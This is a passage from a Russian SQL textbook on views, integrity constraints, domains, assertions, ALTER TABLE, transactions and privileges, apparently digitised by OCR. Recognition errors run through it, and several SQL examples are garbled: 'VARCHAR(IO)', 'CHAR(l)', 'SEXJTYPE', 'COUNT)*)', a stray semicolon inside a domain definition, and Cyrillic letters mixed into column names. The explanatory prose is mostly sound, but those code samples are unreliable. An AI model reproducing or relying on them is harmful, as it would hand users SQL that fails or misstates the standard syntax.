Создание представлений может обеспечивать пользователей дополнительными удобствами — например, позволить им работать только с той частью данных, которая им действительно необходима. В результате можно добиться максимального упрощения той модели данных, с которой будет работать каждый конечный пользователь.
Возможность настройки
Представления являются удобным средством настройки того образа базы данных, с которым будет работать каждый из пользователей. В результате одни и те же таблицы могут быть предъявлены различным пользователям в совершенно разном виде. Обеспечение целостности данных
Если в операторе CREATE VIEW будет указана фраза WITH CHECK OPTION, то СУБД будет осуществлять контроль за тем, чтобы в исходные таблицы базы данных не была введена ни одна из строк, не удовлетворяющих предложению WHERE в определяющем запросе. Этот механизм гарантирует целостность данных в представлении.
Недостатки
Хотя использование представлений позволяет достичь многих существенных преимуществ, представлениям языка SQL свойственны и определенные недостатки.
Ограниченные возможности обновления
В разделе 14.1.6 было показано, что в некоторых случаях представления не позволяют вносить изменения в содержащиеся в них данные.
Структурные ограничения
Структура представления устанавливается в момент его создания. Если определяющий запрос представлен в форме SELECT * FROM..., то символ * ссылается на все столбцы, существующие в исходной таблице на момент создания представления. Если впоследствии в исходную таблицу базы данных будут добавлены новые столбцы, то они не появятся в данном представлении до тех пор, пока это представление не будет удалено и вновь создано.
Снижение производительности
Использование представлений связано с определенным снижением производительности. В одних случаях влияние этого фактора будет совершенно незначительным, тогда как в других оно может послужить источником существенных проблем. Например, представление, определенное с помощью сложного многотабличного запроса может потребовать значительных затрат времени на обработку, поскольку при разрешении представления потребуется выполнять соединение таблиц всякий раз, когда понадобится доступ к данному представлению. Выполнение разрешения представлений связано с использованием дополнительных вычислительных ресурсов. _
Все достоинства и недостатки, связанные с использованием представлений, приведены в табл. 14.6.
Таблица 14.6. Достоинства и недостатки использования представлений в языке SQL
Достоинства
Недостатки
Независимость от данных
Ограниченные возможности обновления
Актуальность
Структурные ограничения
Повышение защищенности данных
Снижение сложности
Снижение производительности
Дополнительные удобства
Возможность настройки
Обеспечение целостности данных
Средства поддержки целостности данных
В этом разделе мы познакомимся с функциями, предназначенными для поддержки целостности данных, которые предусмотрены стандартом ISO на язык SQL (версия 1992 г.). Поддержка целостности данных включает средства задания ограничений, которые вводятся с целью защиты базы от нарушения согласованности сохраняемых в ней данных. В разделе 8.1 мы познакомились с такими типами ограничений поддержки целостности данных, как:
обязательные данные;
ограничения для доменов атрибутов;
целостность сущностей;
ссылочная целостность;
требования данного предприятия.,
Большая часть этих ограничений задается в операторах CREATE и ALTER TABLE. Версия оператора CREATE TABLE, обсуждавшаяся в разделе 13.4.4, была существенно упрощена и не включала спецификаторов задания ограничений поддержки целостности данных. В следующем разделе мы еще раз обратимся к операторам CREATE и ALTER TABLE и рассмотрим их более подробно, сосредоточившись в основном на методах задания пяти упомянутых выше типов ограничений поддержки целостности данных.
Обязательные данные
Для некоторых столбцов требуется наличие в каждой строке таблицы конкретного и допустимого значения, отличного от опущенного значения или значения NULL. Так, каждый работник обязательно занимает ту или иную должность — например, менеджера, ассистента и т.п. Для задания ограничений подобного типа стандарт ISO предусматривает использование спецификатора NOT NULL, указываемого в операторах CREATE и ALTER TABLE. Например, для указания того, что столбец Position (Должность) в таблице Staff (Персонал) не может содержать пустых значений, следует определить его так, как показано ниже.
position VARCHAR(IO) NOT NULL
Ограничения для доменов атрибутов
Каждый столбец имеет собственный домен — т.е. некоторый набор допустимых значений (см. раздел 3.2.1). Например, для определения пола работника достаточно всего двух значений, поэтому домен для столбца Sex (Пол) таблицы Staff можно определить как набор из двух строк длиной в один символ со значением либо ‘М\ либо 'F'. Стандарт ISO предусматривает два различных механизма определения доменов в операторах CREATE и ALTER TABLE. Первый состоит в использовании предложения CHECK, позволяющего задать требуемые ограничения для столбца или таблицы в целом. Предложение CHECK имеет следующий формат:
CHECK (search condition)
При заданий ограничений для отдельного столбца в предложении CHECK можно ссылаться только на определяемый столбец. Например, для указания того, что столбец Sex может содержать лишь два допустимых значения — 'М' и 'F', — следует описать его таким образом:
sex CHAR NOT NULL CHECK (sex IN ('M', 'F'))
Однако стандарт ISO позволяет определять и более сложные домены, для чего предназначен второй механизм — использование оператора CREATE DOMAIN, имеющего следующий формат:
CREATE DOMAIN domain_name [AS] data_type
[DEFAULT default_option\
[CHECK (search condition)]
Каждому создаваемому домену присваивается имя, задаваемое параметром domain-Пате, тип данных, определяемый параметром datatype (см. раздел 13.4.2), значение по умолчанию, устанавливаемое параметром default-option, и набор допустимых значений, определяемый в предложении CHECK. Следует отметить, что приведенный формат оператора CREATE DOMAIN является неполным, однако его достаточно для демонстрации основных возможностей. Таким образом, в случае предыдущего примера мы могли бы определить домен для столбца Sex с помощью следующего оператора:
CREATE DOMAIN sex^type AS CHAR
CHECK (VALUE IN ('M', 'F'));
В результате обработки этого оператора в базе данных будет создан домен под именем Sex_Type, состоящий из двух отдельных символов, имеющих значения 'М' и 'F'. Теперь столбец Sex в таблице Staff можно будет описать, используя домен Sex_Type вместо определителя типа данных CHAR:
sex SEXJTYPE NOT NULL
Значение параметра search-condi tion может включать обращение к справочной таблице. Например, можно создать домен Branch__Number (Номер отделения), который позволит вводить в соответствующие столбцы различных таблиц только те значения, которые уже существуют в столбце Впо таблицы Branch. Для этой цели необходимо использовать следующий оператор:
CREATE DOMAIN branchjiumber AS VARCHAR(3) CHECK (VALUE IN (SELECT bno FROM branch));
Удаление доменов из базы данных выполняется с помощью оператора DROP DOMAIN, имеющего следующий формат:
DROP DOMAIN domainjiame [RESTRICT | CASCADE]
Назначение и обработка спецификаторов RESTRICT и CASCADE уже обсуждались выше, в разделе 13.4.5. Отметим только, что в случае указания спецификатора CASCADE, любые столбцы таблиц, созданные с использованием удаляемого домена, будут автоматически изменены и описаны как использующие данные того типа, который был указан в определении удаляемого домена. Кроме того, любые ограничения на допустимые значения удаляемого домена и его принимаемое по умолчанию значение будут помещены в описания соответствующих столбцов, если это будет возможно. Мы рекомендуем для задания ограничений на допустимые значения домена использовать именно оператор CREATE DOMAIN.
Целостность сущностей
Первичный ключ таблицы должен иметь уникальное непустое значение в каждой ее строке. Например, каждая строка таблицы Staff должна содержать уникальное значение личного (табельного) номера работника, помещенное в столбец Sno, именно оно будет уникальным образом определять работника, описываемого данной строкой таблицы. Стандарт ISO позволяет задавать подобные требования поддержки целостности данных с помощью фразы PRIMARY KEY в операторах CREATE и ALTER TABLE. Например, для определения первичного ключа таблицы Staff можно использовать следующую фразу:
PRIMARY KEY(sno)
В случае составного первичного ключа — например, первичного ключа таблицы Viewing, состоящего из двух столбцов под именами Rno и Рпо — фраза определения первичного ключа будет иметь следующий вид:
PRIMARY KEY(rno, рпо)
Фраза PRIMARY KEY может указываться в определении таблицы только один раз. Однако существует возможность гарантировать уникальность значений и для любых альтернативных ключей таблицы, для чего предназначено ключевое слово UNIQUE. Кроме того, при определении столбцов альтернативных ключей мы настоятельно рекомендуем использовать и спецификаторы NOT NULL. Например, определение таблицы Viewing можно переписать следующим образом:
rno VAR CHAR(5) NOT NULL, рпо VAR CHAR(5) NOT NULL, UNIQUE (rno, pno)
Ссылочная целостность
Внешние ключи представляют собой столбцы или наборы столбцов, предназначенные для связывания каждой из строк дочерней таблицы, содержащей этот внешний ключ, со строкой родительской таблицы, содержащей соответствующее значение потенциального ключа. Понятие ссылочной целостности означает, что если поле внешнего ключа содержит некоторое значение, то оно обязательно должно ссылаться на существующую корректную строку в родительской таблице (см. раздел 3.3.3). Например, значение номера отделения в столбце Впо таблицы Staff всегда должно связывать каждого сотрудника с конкретной строкой таблицы Branch, соответствующей тому отделению компании, в котором данный сотрудник работает. Если значение номера отделения не опущено, оно обязательно должно являться допустимым значением столбца Впо таблицы Branch. В противном случае работник окажется приписанным к несуществующему отделению компании.
Стандарт ISO предусматривает механизм определения внешних ключей с помощью предложения FOREIGN KEY, указываемого в операторах CREATE и ALTER TABLE. Например, для определения внешнего ключа Впо в таблице Staff можно использовать следующее предложение:
FOREIGN KEY(bno) REFERENCES branch
Теперь система отклонит выполнение любых операторов INSERT или UPDATE, с помощью которых будет предпринята попытка создать в дочерней таблице значение внешнего ключа, не соответствующее одному из уже существующих значений потенциального ключа родительской таблицы. Действия системы, выполняемые при поступлении операторов UPDATE или DELETE, содержащих попытку обновить или удалить значение потенциального ключа в родительской таблице, которому соответствует одна или более строк дочерней таблицы, зависят от правил поддержки ссылочной целостности, указанных во фразах ON UPDATE и ON DELETE предложения FOREIGN KEY. Если пользователь предпринимает попытку удалить из родительской таблицы строку, на которую ссылается одна или более строк дочерней таблицы, язык SQL предоставляет следующих четыре допустимых варианта действий:
CASCADE — выполняется удаление строки из родительской таблицы, сопровождающееся автоматическим удалением всех ссылающихся на нее строк дочерней таблицы. Поскольку удаляемые строки дочерней таблицы также могут содержать некоторые потенциальные ключи, используемые в качестве внешних ключей в других таблицах, анализируются и применяются правила обработки внешних ключей этих таблиц — и так далее, каскадным образом;
SET NULL — выполняется удаление строки из родительской таблицы, а во внешние ключи всех ссылающихся на нее строк дочерней таблицы заносятся значения NULL. Этот вариант применим только в том случае, если в определении столбца внешнего ключа отсутствует ключевое слово NOT NULL;
SET DEFAULT — выполняется удаление строки из родительской таблицы, а во внешние ключи всех ссылающихся на нее строк дочерней таблицы зано- 'сится значение, принимаемое по умолчанию. Этот вариант применим толь
о в том случае, если в определении столбца внешнего ключа присутствует ключевое слово DEFAULT и задано значение, используемое по умолчанию;
NO ACTION — операция удаления строки из родительской таблицы отменяется. Именно это значение используется по умолчанию в тех случаях, когда в описании внешнего ключа фраза ON DELETE опущена.
Те же самые правила применяются в языке SQL и тогда, когда значение потенциального ключа родительской таблицы обновляется. В случае использования правила CASCADE в столбцы внешнего ключа дочерней таблицы помещается новое, измененное значение потенциального ключа родительской таблицы. Аналогичным образом, обновления каскад но распространяются на другие таблицы, если их внешние ключи ссылаются на обновленные столбцы дочерней таблицы. Например, в таблице Property for_Rent столбец личного номера работника Sno является внешним ключом, ссылающимся на таблицу Staff. Для этого внешнего ключа можно установить правило удаления, указывающее, что в случае удаления записи о работнике из таблицы Staff, соответствующее значение в столбце Sno таблицы Property__forient должно быть заменено значением NULL:
FOREIGN KEY (sno) REFERENCES staff ON DELETE SET NULL
Аналогичным образом, столбец Ono таблицы Property_forjtent является внешним ключом, связывающим ее с таблицей Owner. Можно установить правило обновления, указывающее, что в случае изменения номера владельца в таблице Owner соответствующие значения в столбце Опо таблицы Property_for_Rent также должны быть заменены новым значением:
FOREIGN KEY (опо) REFERENCES owner ON UPDATE CASCADE
Требования данного предприятия
Обновления данных в таблицах могут быть ограничены существующими в данной организации требованиями (бизнес-правилами), установленными в отношении ручного выполнения операций, связанных с внесением изменений в информацию. Например, в компании DreamHome существует правило, которое ограничивает количество сдаваемых в аренду объектов, за которые может отвечать один работник, причем верхний предел установлен равным десяти объектам. Стандарт ISO позволяет реализовать бизнес-правила предприятий либо с помощью предложений CHECK и ключевого слова UNIQUE в операторах CREATE и ALTER TABLE, либо с помощью оператора CREATE ASSERTION. Использование предложения CHECK и ключевого слова UNIQUE уже обсуждалось выше (в этом же разделе). Оператор CREATE ASSERTION предназначен для введения ограничений целостности данных, которые непосредственно не связаны с определениями таблиц. Этот оператор имеет следующий формат:
CREATE ASSERTION assertion_name
CHECK search_condition^
Этот оператор по своему смыслу очень близок к предложению CHECK, особенности использования которого обсуждались выше. Однако, если требования поддержки бизнес-правил связаны с использованием данных более чем одной таблицы, предпочтительнее применить оператор ASSERTION, чем дублировать описание необходимой проверки в каждой из задействованных таблиц либо вносить сведения об ограничениях в дополнительную таблицу. Например, для определения в базе данных бизнес- правила, запрещающего каждому из работников отвечать более чем за 10 сдаваемых в аренду объектов, можно подготовить следующий оператор:
CREATE ASSERTION staff_not_handling_too_much
CHECK (NOT EXISTS (SELECT sno
FROM property_for_rent
GROUP BY sno
HAVING COUNT(*) >10))
Дополнительные средства определения данных
Указание ограничений поддержки целостности данных в операторе CREATE TABLE
В разделе 13.4.04 мы познакомились с упрощенной версией оператора CREATE TABLE. В стандарте ISO дано в несколько вариантов определения этого оператора, однако его базовый формат имеет следующий вид:
CREATE TABLE tablejiame
Цсо1итп_пате datatype [NOT NULL] [UNIQUE]
[DEFAULT default_option^ [CHECK (search_condition)] [,...]}
[PRIMARY KEY (list_of_columns), ]
{[UNIQUE Uist_of_columns),] [,...]}
{[FOREIGN KEY (1 ist_of_foreign_key_columns)
REFERENCES parent_table_name \.Uist_of_candidate_key_columns)],
[MATCH {PARTIAL | FULL}
[ON UPDATE referential_action]
[ON DELETE referential-action]] [,...]}
{[CHECK (search_condition)] [, . . . ]})
Как уже упоминалось в предыдущем разделе, данная версия оператора CREATE TABLE включает средства определения требований целостности данных, а также другие конструкты. Имеются очень большие вариации в наборе функциональных возможностей данного оператора, реализованных в различных диалектах языка SQL. Однако мы настоятельно рекомендуем использовать все те возможности, которые предоставляются базовой СУБД.
Основные элементы оператора CREATE TABLE (т.е. параметры table_name, column_name, data type и спецификатор NOT NULL) уже рассматривались в разделе 13.4.4. Необязательная фраза DEFAULT предназначена для задания значения, принимаемого по умолчанию. Оно будет использоваться всякий раз, когда в операторе INSERT будет отсутствовать значение в данном столбце. Помимо прочих вариантов, значение параметра default_option может представлять собой также и литерал. Предложения UNIQUE и CHECK мы уже обсудили в предыдущем разделе. Все остальные элементы оператора называются ограничениями для таблицы и могут отделяться (не обязательно) следующей фразой:
CONSTRAINT constraint_name
Использование этой фразы позволит впоследствии отменить то или иное ограничение с помощью оператора ALTER TABLE (читайте ниже).
В предложении PRIMARY KEY определяется столбец или столбцы, образующие первичный ключ таблицы. Если эта фраза поддерживается диалектом, то она обязательно должна указываться в определении каждой создаваемой вами таблицы. По умолчанию для всех входящих в состав первичного ключа столбцов предполагается использование режима NOT NULL. В определении каждой таблицы может присутствовать только одно предложение PRIMARY KEY. Система заблокирует выполнение любых операторов INSERT или UPDATE, в которых предпринимается попытка создать строку с дублирующимся значением в столбце (или столбцах), указанном в предложении PRIMARY KEY. Этот механизм языка SQL гарантирует уникальность значений первичного ключа.
С помощью предложения UNIQUE могут определяться остальные потенциальные ключи таблицы (т.е. наборы из одного или более столбцов, значения которых уникальным образом идентифицируют каждую из строк таблицы). И опять-таки, для каждого столбца, указанного в предложении UNIQUE, должен использоваться режим NOT NULL. Определение таблицы может включать произвольное количество предложений UNIQUE. Система заблокирует выполнение любых операторов INSERT или UPDATE, в которых предпринимается попытка создать строку с дублирующимся значением в столбце (или столбцах), входящем в любой из потенциальных ключей таблицы.
Предложение FOREIGN KEY позволяет определять внешние ключи таблиц (дочерних) и устанавливаемую с их помощью связь с другой (родительской) таблицей. В этом предложении также указываются необходимые требования к поддержанию ссылочной целостности базы данных. В общем случае предложение может включать следующие элементы:
список list_of_foreign_key_columns, содержащий имена одного или более столбцов таблицы, образующих данный внешний ключ;
фразу REFERENCES, определяющую имя родительской таблицы, т.е. таблицы, содержащей соответствующий потенциальный ключ. Если параметр list_of_candidate_key_columns (содержащий список имен одного или более столбцов родительской таблицы, образующих требуемый потенциальный ключ) опущен, то предполагается, что данный внешний ключ соответствует первичному ключу родительской таблицы. В этом случае также необходимо, чтобы в операторе CREATE TABLE для родительской таблицы присутствовала фраза PRIMARY KEY;
необязательную фразу определения правила обновления для данной связи (ON UPDATE), задающую действие, которое система должна выполнить в случае обновления значения потенциального ключа родительской таблицы, на которое есть ссылки в строках этой дочерней таблицы. Параметр referential-action может принимать одно из следующих значений: CASCADE, SET NULL, SET DEFAULT или NO ACTION. Если фраза ON UPDATE опущена, по умолчанию предполагается использование правила NO ACTION (см. раздел 14.2);
необязательную фразу определения правила удаления для данной связи (ON DELETE), задающую действие, которая система должна выполнить в случае удаления значения потенциального ключа родительской таблицы, на которое есть ссылки в строках этой дочерней таблицы. Параметр referential action может принимать одно из следующих значений: CASCADE, SET NULL, SET DEFAULT или NO ACTION. Если фраза ON DELETE опущена, по умолчанию предполагается использование правила NO ACTION (см. раздел 14.2);
определитель MATCH. По умолчанию ссылка считается удовлетворенной, если любой из компонентов внешнего ключа имеет значение NULL или в родительской таблице содержится строка с соответствующим значением потенциального ключа. Определитель MATCH позволяет уточнить способ обработки значений NULL во внешнем ключе. Если для таблицы указывается определитель MATCH FULL, то для удовлетворения ссылки все компоненты внешнего ключа должны иметь либо значение NULL, либо некоторое конкретное значение. Если указывается спецификатор MATCH PARTIAL, то для удовлетворения ссылки либо все компоненты внешнего ключа должны иметь значение NULL, либо в родительской таблице должна существовать, по крайней мере, одна строка, удовлетворяющая всем непустым значениям столбцов внешнего ключа. Некоторые разработчики возражают против этого правила, утверждая, что само понятие ссылочной целостности предполагает единственный допустимый вариант — MATCH FULL.
При определении таблицы предложение FOREIGN KEY может указываться произвольное количество раз. Предложения CHECK и CONSTRAINT позволяют задавать дополнительные ограничения. Если они используются при введении ограничений для столбцов, то в предложении CHECK можно указывать только имя определяемого столбца. Проверка установленных ограничений неявно проводится при выполнении каждого SQL-оператора, хотя ее можно отложить и до окончания включающей оператор транзакции (раздел 14.3.4). Потенциальные возможности рассматриваемой версии оператора CREATE TABLE продемонстрированы в примере 14.5.
Пример 14.5. Создание таблицы с помощью оператора CREATE TABLE
Еще раз обратимся к процедуре создания таблицы Property_for_Rent, описанной в примере 13.43. При использовании всех возможностей рассматриваемой версии оператора CREATE TABLE определение этой таблицы будет выглядеть следующим образом:
CREATE DOMAIN owner_number AS VARCHAR(5)
CHECK (VALUE IN (SELECT ono FROM owner));
CREATE DOMAIN Staffjiumber AS VARCHAR(5)
CHECK (VALUE IN (SELECT sno FROM staff));
CREATE DOMAIN branch_number AS VARCHAR(3)
CHECK (VALUE IN (SELECT bno FROM branch));
CREATE DOMAIN property_number AS VARCHAR(5);
CREATE DOMAIN street AS VARCHAR(25);
CREATE DOMAIN area AS VARCHAR(15);
CREATE DOMAIN city AS VARCHAR(15);
CREATE DOMAIN post_code AS VARCHAR(8);
CREATE DOMAIN property_type AS CHAR(l)
CHECK(VALUE IN ('В', 'C', 'D', 'E', 'F', 'M', 'S'));
CREATE DOMAIN property_roOms AS SMALLINT;
CHECK(VALUE BETWEEN 1 AND 15);
CREATE DOMAIN property_rent AS DECIMAL(6,2)
CHECK(VALUE BETWEEN 0 AND 9999);
CREATE TABLE property_for_rent(
рпо
PROPERTY_NUMBER
NOT NULL,
street
STREET
NOT NULL,
area
AREA,
city
CITY
NOT NULL,
pcode
POST-CODE,
type
PROPERTY_TYPE
NOT NULL DEFAULT 'F',
rooms
PROPERTY-ROOMS
NOT NULL DEFAULT 4,
rent
PROPERTY-RENT
NOT NULL DEFAULT 1600,
ono
OWNER-NUMBER
NOT NULL,
sno
STAFF NUMBER
CONSTRAINT staff_not_handling_too_muchCHECK (NOT EXISTS (SELECT snoFROM property_for_rentGROUP BY sno
HAVING COUNT)*) > 10)),
bno BRANCH_NUMBER NOT NULL,
PRIMARY KEY (pno),
FOREIGN KEY (sno) REFERENCES staff ON DELETE SET NULL ON UPDATE CASCADE,
FOREIGN KEY (ono) REFERENCES owner ON DELETE NO ACTION ON UPDATE CASCADE,
FOREIGN KEY (bno) REFERENCES branch ON DELETE NO ACTION*
ON UPDATE CASCADE);
Создаваемая таблица имеет те же самые названия столбцов и типы данных, что и в примере 13.43. Для столбца Туре задается значение по умолчанию, равное 'F'. Фраза CONSTRAINT для столбца Sno устанавливает ограничение, запрещающее любому работнику отвечать за слишком большое количество сдаваемых в аренду объектов. Ограничение реализуется посредством выполнения проверки того, не превышает ли количество объектов с одним и тем же значением столбца Sno десяти.
Первичным ключом таблицы является номер сдаваемого в аренду объекта — столбец Рпо. Система будет автоматически поддерживать уникальность значений этого столбца. Столбец Sno, содержащий личный номер работника, является внешним ключом, связывающим данную таблицу с таблицей Staff. Для этого внешнего ключа установлено правило удаления, указывающее, что при удалении из таблицы Staff сведений о каком-либо работнике соответствующее значение столбца Sno таблицы Property_for_Rent должно быть заменено значением NULL. Кроме того, для этого внешнего ключа установлено и правило обновления, указывающее, что при изменении в таблице Staff личного номера работника соответствующее значение в столбце Sno таблицы Property_for_Rent также должно быть заменено новым значением. Столбец Опо, содержащий личный номер владельца сдаваемого в аренду объекта, является внешним ключом, связывающим данную таблицу с таблицей Owner. Для этого внешнего ключа установлено правило удаления типа NO ACTION, в ре- ; зультате чего запрещается удаление из таблицы Owner сведений о тех владельцах, для которых имеются соответствующие строки в таблице Property_for_Rent. Кроме того, для этого внешнего ключа установлено правило обновления типа CASCADE, поэтому при изменении в таблице Owner личного номера владельца объекта, связанные с ним строки таблицы Property_for_Rent также будут автоматически обновлены. Те же самые правила установлены и для столбца Впо. Поскольку во всех предложениях FOREIGN KEY параметр list_of_primary_key_columns был опущен, - предполагается, что все внешние ключи связаны с первичными ключами указанных родительских таблиц.
Изменение описания таблицы
(оператор ALTER TABLE)
Для внесения изменений в уже созданные таблицы стандартом ISO предусмотрен оператор ALTER TABLE. Определение оператора ALTER TABLE в стандарте ISO включает шесть параметров, предназначенных для выполнения следующих операций:
добавления к таблице нового столбца;
удаления столбца из таблицы;
добавления в определение таблицы нового ограничения;
удаления из определения таблицы существующего ограничения;
задания для столбца значения по умолчанию;
отмены установленного для столбца значения по умолчанию.
Оператор ALTER TABLE имеет следующий обобщенный формат:
ALTER TABLE table_name
[ADD [COLUMN] columnjiame datatype [NOT NULL] [UNIQUE]
[DEFAULT default-Option^ [CHECK (search-condition)]]
[DROP [COLUMN] column_name [RESTRICT | CASCADE]]
[ADD [CONSTRAINT [cons traint_name]] table_constraint_definition]
[DROP CONSTRAINT cons train t_name [RESTRICT | CASCADE]]
[ALTER [COLUMN] SET DEFAULT default-option]
[ALTER [COLUMN] DROP DEFAULT]
Здесь параметры имеют то же самое назначение, что и в определении оператора CREATE TABLE. Параметр table_constraint_definition может принимать одно из следующих значений: PRIMARY KEY, UNIQUE, FOREIGN_KEY или CHECK. Предложение ADD COLUMN представляет собой определение столбца, аналогичное тому, которое используется в операторе CREATE TABLE. В предложении DROP COLUMN указывается имя столбца, который удаляется из определения таблицы. Это предложение включает дополнительный квалификатор, указывающий, следует ли выполнять каскадное распространение операции DROP. Этот квалификатор может принимать одно из следующих значений:
RESTRICT — выполнение операции DROP отменяется, если на данный столбец ссылается какой-либо иной объект базы данных (например, определение представления). По умолчанию принимается, что данный квалификатор имеет значение RESTRICT;
CASCADE — операция DROP выполняется, кроме того, автоматически удаляются ссылки на данный объект из всех объектов базы данных, в которых они присутствовали. Данная операция распространяется каскадным образом, поэтому, когда ссылка удаляется из ссылающегося на удаляемый столбец объекта, система автоматически проверяет, имеются ли где-либо в базе данных ссылки и на этот удаляемый элемент, после чего все найденные вторичные ссылки также удаляются, и т.д.
Это та же самая концепция, которая используется для квалификатора RESTRICT/ CASCADE в операторе DROP TABLE (см. раздел 13.4.5).
Пример 14.6. Модификация таблицы с помощью оператора ALTERsTABLE^
1. Измените таблицу Staff, удалив принимаемое по умолчанию значение 'Assistant' столбца Position и изменив принимаемое по умолчанию значение столбца Sex на 'F'.
, ALTER TABLE staff
ALTER position DROP DEFAULT-,
ALTER TABLE staff
ALTER sex SET DEFAULT 'F';
> 2. Измените таблицу Property_for_Rent, удалив ограничение, запрещающее работникам отвечать более чем за 10 сдаваемых в аренду объектов. Измените табли-
. цу Renter, добавив в нее новый столбец, предназначенный для хранения сведений о регионе, в котором клиент предпочитает арендовать недвижимость.
ALTER TABLE property_for_rent
DROP CONSTRAINT staff_not_handling_toojnuch;
ALTER TABLE renter
ADD pref_area VARCHAR(15);
Оператор ALTER TABLE реализован не во всех диалектах языка SQL. В некоторых диалектах этот оператор поддерживается, однако не позволяет удалять из таблицы уже существующие столбцы. В подобных случаях те столбцы таблиц, которые уже не нужны, должны просто игнорироваться, поскольку удалить их из описания таблицы невозможно. Но все-таки существует метод изменения определения таблицы и без использования оператора ALTER TABLE.
Выгрузите данные таблицы в промежуточный файл.
С помощью оператора Drop Table удалите описание таблицы из базы данных.
Создайте новую версию таблицы с помощью оператора CREATE TABLE.
Загрузите данные из промежуточного файла во вновь созданную таблицу.
Этапы массовой загрузки и выгрузки данных из таблицы обычно выполняют с помощью специальных программ-утилит, входящих в состав СУБД. Однако существует и другой вариант — создать временную таблицу, после чего использовать операторы INSERT ... SELECT для загрузки данных из старой таблицы во временную таблицу, а затем перегрузки их из временной таблицы во вновь созданную.
Использование транзакций
Стандарт ISO включает определение модели транзакций, построенной на использовании двух специальных операторов — COMMIT и ROLLBACK. Большинство (однако не все) коммерческих реализаций языка SQL поддерживает эту модель, которая впервые была реализована в СУБД DB2 компании IBM. Транзакцией называется логическая единица работы, состоящая из одного или более SQL-операторов, которая с точки зрения восстановления данных будет рассматриваться и обрабатываться системой как единое неделимое действие. В стандарте указывается, что в языке SQL транзакция автоматически запускается любым инициализирующим транзакцию SQL- оператором, выполняемым пользователем или программой (например, SELECT, INSERT или UPDATE). Изменения, внесенные в базу данных в ходе выполнения данной транзакции, не будут видны любым другим выполняющимся параллельно транзакциям до тех пор, пока эта транзакция не будет явным образом завершена. Завершение транзакции может быть выполнено одним из следующих четырех способов.
Ввод оператора COMMIT означает успешное завершение транзакции. После его выполнения внесенные в базу данных изменения приобретают постоянный характер. После обработки оператора COMMIT ввод любого инициирующего транзакцию оператора автоматически вызовет запуск новой транзакции.
Ввод оператора ROLLBACK означает отказ от завершения транзакции, в результате чего выполняется откат всех изменений в базе данных, внесенных при выполнении этой транзакции. После обработки оператора ROLLBACK
ввод любого инициирующего транзакцию оператора автоматически вызовет запуск новой транзакции.
При внедрении SQL-операторов в текст программы успешное окончание ее работы автоматически вызовет завершение последней запущенной программой транзакций, даже если оператор COMMIT для нее не был введен явно.
При внедрении SQL-операторов в текст программы аварийное окончание ее работы автоматически вызовет откат последней запущенной этой программой транзакции.
В языке SQL запрещено использование вложенных транзакций. С помощью оператора SET TRANSACTION пользователи могут настраивать определенные аспекты процедуры обработки транзакций. Основной формат этого оператора имеет следующий вид:
SET TRANSACTION
[READ ONLY | READ WRITE] |
[ISOLATION LEVEL READ UNCOMMITTED | READ COMMITTED |
REPEATABLE READ | SERIALIZABLE]
Квалификаторы READ ONLY и READ WRITE указывают, что в транзакциях допускается выполнение только операций чтения или чтения и записи соответственно. По умолчанию предполагается использование квалификатора READ WRITE (если только не выбран уровень изоляции READ UNCOMMITTED). Вероятно, многих смутит тот факт, что в режиме READ ONLY в транзакциях допускается выдача операторов INSERT, UPDATE и DELETE для временных таблиц (но только для временных). Показатель уровня изоляции определяет ту степень взаимодействия с другими транзакциями, которая допускается при выполнении транзакции. Сведения об ограничениях в отношении сериализации результатов выполнения транзакций для каждого из существующих уровней изоляции приведены в табл. 14.7.
Таблица 14.7. Ограничения на сериализацию результатов выполнения транзакции, определяемые уровнем изоляции
Уровень изоляции
Чтение мусора
Неповторяемость чтения
Существование фантомных значений
READ UNCOMMITTED
Да
Да
Да
READ COMMITTED
Нет
Да
Да
REPEATABLE READ
Нет
Нет
Да
SERIALIZABLE
Нет
Нет
Нет
Полная безопасность
гарантируется
только уровнем
изоляции SERIALIZABLE, кото-
рый предусматривает генерацию графиков сериализации. Все остальные уровни изоляции требуют, чтобы СУБД предоставляла некоторый механизм, который программисты могли бы использовать для обеспечения сериализации данных. Значение терминов “чтение мусора”, “неповторяемость чтения” и “существование фантомных значений” поясняется в главе 17. Там же будут даны дополнительные разъяснения по поводу механизмов выполнения транзакций и сериализации.
Немедленные и отложенные требования поддержки целостности данных
В некоторых ситуациях не требуется немедленно выполнять проверку установленных требовании поддержки целостности данных после завершения обработки каждого отдельного SQL-оператора, но необходимо обеспечить эту проверку при завершении каждой транзакции. В начале выполнения каждой из транзакций может быть
установлен режим выполнения проверки ограничений либо INITIALLY IMMEDIATE, либо INITIALLY DEFERRED. В первом случае можно также указать, допускается ли изменять установленный режим впоследствии, для чего предназначен квалификатор [NOT] DEFERRABLE. По умолчанию предполагается использование режима INITIALLY IMMEDIATE.
Оператор SET CONSTRAINTS используется для установки режима выполнения указанных проверок в текущей транзакции. Этот оператор имеет следующий формат:
SET CONSTRAINTS
(ALL | constraint_name [,...]} {DEFERRED | IMMEDIATE}
Управление доступом к данным
В разделе 2.4 утверждалось, что каждая СУБД должна предоставлять механизм, гарантирующий, что доступ к базе данных смогут получить только те пользователи, которые имеют соответствующее разрешение. Язык SQL включает операторы GRANT и REVOKE, предназначенные для организации защиты таблиц в базе данных. Применяемый механизм защиты построен на использовании идентификаторов пользователей, предоставляемых им прав владения и привилегий.
Идентификаторы пользователей и право владения
Идентификатором пользователя называется обычный идентификатор языка SQL, используемый для обозначения некоторого пользователя базы данных. Каждому пользователю базы данных должен быть назначен собственный идентификатор, присваиваемый администратором базы данных (АБД). Из очевидных соображений защиты данных, идентификатор пользователя, как правило, связывается с некоторым паролем. Каждый выполняемый СУБД SQL-оператор выполняется от имени какого- либо пользователя. Идентификатор пользователя применяется для определения того, на какие объекты базы данных может ссылаться данный пользователь, а также какие операции с этими объектами он имеет право выполнять.
Каждый созданный в среде SQL объект имеет своего владельца. Владелец задается идентификатором пользователя, определенным в предложении AUTHORIZATION той схемы, которой этот объект принадлежит (см. раздел 13.4.3). Исходно владелец объекта является единственной персоной, которая знает о существовании данного объекта и имеет право выполнять с этим объектом любые операции.
Привилегии
Привилегиями называют действия, которые пользователь имеет право выполнять в отношении данной таблицы базы данных или представления. В стандарте ISO определяется следующий набор привилегий:'
SELECT — право выбирать данные из таблицы;
INSERT — право вставлять в таблицу новые строки;
UPDATE — право изменять данные в таблице;
DELETE — право удалять строки из таблицы;
REFERENCES — право ссылаться на столбцы указанной таблицы в описаниях требований поддержки целостности данных;
USAGE — право использовать домены, проверки, наборы символов и трансляции. Понятия проверок, наборов символов и трансляций не рассматриваются в этой книге. Заинтересованный читатель может обратиться к. источникам, приведенным в списке рекомендованной литературы.
